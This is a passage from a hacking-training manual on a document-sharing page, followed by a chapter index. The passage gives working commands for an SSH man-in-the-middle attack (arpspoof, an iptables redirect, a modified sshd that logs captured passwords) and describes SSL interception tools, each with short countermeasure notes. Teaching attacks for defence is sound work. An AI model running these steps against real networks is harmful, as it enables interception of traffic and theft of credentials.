Hack Security Pro.pdf - Index of

More documents

Recommendations

Info

Carrying out the attack First, have the modified sshd diamond listen to port 10000: ./sshd -4 -p 10000 We will then hijack the connections: Let us activate the routing: echo 1 > /proc/sys/net/ipv4/ip_forward We then request that all connections directed to port 22 be rerouted to local port 10000: iptables -t nat -A PREROUTING -p tcp --sport 1000:65000 --dport 22 -j REDIRECT –to-port 10000 -i eth0 Finally we hijack the communications with a standard arp poisoning type attack for all communications with the target server: arpspoof -i eth0 192.168.124.20 When the client establishes a connection, he will receive a message of this type: Laptop:/home/xdream# ssh Dantes The authenticity of host 'dantes (192.168.124.20)' can't be established. RSA key fingerprint is d8:84:7a:96:36:15:2e:40:3e:7f:6e:e8:12:23:74:97. Are you sure you want to continue connecting (yes/no)? yes If the client answers yes, he will be able to connect, and a temporary file will be created on the hacker's machine, of the ssharp-IPSERVER.PID type. You can then use the mss-client binary on this file to spy on the communication: mss-client /tmp/ssharp-192.168.124.20.11234 What's more, the captured logins and passwords are stored in the /tmp/ssharp file: Laptop:/home/xdream# cat /tmp/ssharp 192.168.124.20:22 [xdream:password] Security The best protection against this type of attack is to use the ssh2 protocol with the client, even if the server requests the use of ssh1. You can at the same time give the -2 option to the client: ssh -2 192.168.124.20 The Hackademy DMP -96/209- SYSDREAM
B) SSL The SSL protocol functions with the sending of a public key certificate, which will be used to encrypt the communication in a secure canal, following the same methodology as SSH. The attack is therefore in theory quite similar. The pirate will emulate on a relay machine, through which the victim passes, an SSL server, who de-encrypts and re-encrypts the communication to forward it to the final server. The Ettercap utility, that we have already studied, knows how to implement this type of attack without any particular option. Another method is to force the user to pass through a proxy server that also implements an SSL server (SSLProxy : http://www.obdev.at/products/ssl-proxy/). For conventional HTTP requests we will use Achilles on Windows. This utility is a proxy HTTP server, which can log the communications it transits, and which can modify the contents of requests or of answers destined to the client or the web server. Simply specify a port that will be listened to and activate the options: Intercept mode ON, Intercept Client Data, Intercept Server Data and ignore .jpg/.gif. In the main window, you can modify the contents of the requests or of the web pages sent. Be careful when you forward the communication between the two parties in this mode, as you will have to validate each request or page with the Send button. Security SSL certificates are known sites that are generally referenced in databases automatically consulted by web navigators, in order to check that the certificate sent back is an authentic one. When it is a fake one, a warning is sent back. The Hackademy DMP -97/209- SYSDREAM
Page 1 and 2:
Hack security “pro”
Page 3 and 4:
Authors For their contribution to t
Page 5 and 6:
Chapter IV: Web Vulnerabilities....
Page 7 and 8:
INTRODUCTION TO TCP/IP NETWORKS Net
Page 9 and 10:
In case of reception, each layer wi
Page 11 and 12:
ARP heading: The Hackademy DMP -11/
Page 13 and 14:
Version: 4 bits. The version field
Page 15 and 16:
TCP header: Source Port: 16 bits. T
Page 17 and 18:
TCP/UDP Port Notions: Multiplexing/
Page 19 and 20:
Start the MS-DOS control interface
Page 21 and 22:
CHAPTER I INFORMATION ACQUISITION T
Page 23 and 24:
expires: 2005-10-28 11:28:29 create
Page 25 and 26:
In the answer field you will find:
Page 27 and 28:
nmap -sP 192.168.124.0/24 Starting
Page 29 and 30:
C) Fingerprinting the system The nm
Page 31 and 32:
It is also possible to specify seve
Page 33 and 34:
SMTP : Simple Mail Transfer Protoco
Page 35 and 36:
SNMP : Simple Network Management Pr
Page 37 and 38:
Here is a scan report obtained with
Page 39 and 40:
# nmap 3.50 scan initiated Wed May
Page 41 and 42:
CHAPTER II CLIENT VULNERABILITIES T
Page 43 and 44:
File viruses: These viruses attack
Page 45 and 46: Retroviruses are a bit more aggress
Page 47 and 48: However, do check in the start file
Page 49 and 50: Creating a hidden gateway : But the
Page 51 and 52: infallible. It consists in associat
Page 53 and 54: DOS commands if conditional pluggin
Page 55 and 56: Each one of these zones can be conf
Page 57 and 58: The javascript code destined to dow
Page 59 and 60: The wizard will ask you the locatio
Page 61 and 62: CHAPTER III NETWORKS VULNERABILITIE
Page 63 and 64: Here, the connection between the ro
Page 65 and 66: Using the "Follow TCP Stream" optio
Page 67 and 68: You have just created a new filter.
Page 69 and 70: This handshake takes place as follo
Page 71 and 72: Third step Illustration 3: ACK To c
Page 73 and 74: The methodology of this type of att
Page 75 and 76: The case of the UDP protocol Unlike
Page 77 and 78: nc -l -v -n -p 887 Injection of com
Page 79 and 80: Let's try to connect again from mac
Page 81 and 82: We can see that Ethereal has seen i
Page 83 and 84: Conclusion The covert channel princ
Page 85 and 86: It is the IP protocol that is going
Page 87 and 88: We will simultaneously launch the p
Page 89 and 90: 5.Connections Hijacking We are goin
Page 91 and 92: Let us now display the contents of
Page 93 and 94: B) DNS hijacking The DNS protocol i
Page 95: ssh2 protection The server's public
Page 99 and 100: Recent viruses use the resources of
Page 101 and 102: 1.Site Mapping The first thing a ha
Page 103 and 104: Scan_web.php Scan_web.php is a PHP
Page 105 and 106: The phpinfo() function gives the ha
Page 107 and 108: ack to an error message */ if ($ok
Page 109 and 110: System() Function The System() func
Page 111 and 112: Uploading via PHP Quite often, one
Page 113 and 114: inc.php file page1.php file By ty
Page 115 and 116: There are other functions of the sa
Page 117 and 118: i=0; j=0; while (data[i] != '=') {
Page 119 and 120: system("/usr/bin/sendmail -t test@t
Page 121 and 122: In all cases, it is also important
Page 123 and 124: It is therefore vital to understand
Page 125 and 126: The error means that the SQL reques
Page 127 and 128: } else{ } $query = "UPDATE users SE
Page 129 and 130: And here is the result: We are now
Page 131 and 132: We can see that CrashFr is now in b
Page 133 and 134: Once the client has entered his pse
Page 135 and 136: CHAPTER V APPLICATION VULNERABILITI
Page 137 and 138: 2.Buffer Overflow Buffer overflow t
Page 139 and 140: xdream@Laptop:/$ readelf -a /bin/ls
Page 141 and 142: A few assembler notions Let us see
Page 143 and 144: Let us study the representation of
Page 145 and 146: The program segfaulted when trying
Page 147 and 148:
We can determine that at address 0x
Page 149 and 150:
The we can look in libc6 for the ad
Page 151 and 152:
We can also see in the sources a ca
Page 153 and 154:
3. String Format Presentation Strin
Page 155 and 156:
So when the '%n' indicator is encou
Page 157 and 158:
Using dtors. bash# objdump -s -j .d
Page 159 and 160:
Security The only solution here is
Page 161 and 162:
This program is “suidroot”, whi
Page 163 and 164:
} } printf("Opening of file authori
Page 165 and 166:
} flock(fd, LOCK_UN); //Closing of
Page 167 and 168:
1.Authentication Brute force In thi
Page 169 and 170:
Hybrid attack T launch a hybrid att
Page 171 and 172:
LC3 offers 4 methods. 1. From the l
Page 173 and 174:
B) The Unix passwd file On Unix sys
Page 175 and 176:
C) Authentication service One of th
Page 177 and 178:
The first thing to do is to create
Page 179 and 180:
B) Backdoor kernel Backdoor kernels
Page 181 and 182:
CHAPTER VII GENERIC SECURITY PROCED
Page 183 and 184:
Configure snort so that it can stor
Page 185 and 186:
Pmon NT Pmon is a process monitorin
Page 187 and 188:
Here is a simple scenario. Let us t
Page 189 and 190:
Step 2 : Encoding and signing (PGP)
Page 191 and 192:
12.You can choose a separate Signat
Page 193 and 194:
B) Cryptography of hard drives Wind
Page 195 and 196:
The first time this operation is do
Page 197 and 198:
Integrity controller on Linux There
Page 199 and 200:
There are three protection levels:
Page 201 and 202:
"Program control" Section The “pr
Page 203 and 204:
The rules take the following values
Page 205 and 206:
7.VPN What is a Virtual Private Net
Page 207 and 208:
Contact 1 Villa du clos de Malevart
Page 209:
Created by trainers from The Hackad
show all

Hack Security Pro.pdf - Index of

You also want an ePaper? Increase the reach of your titles

Delete template?

Save as template?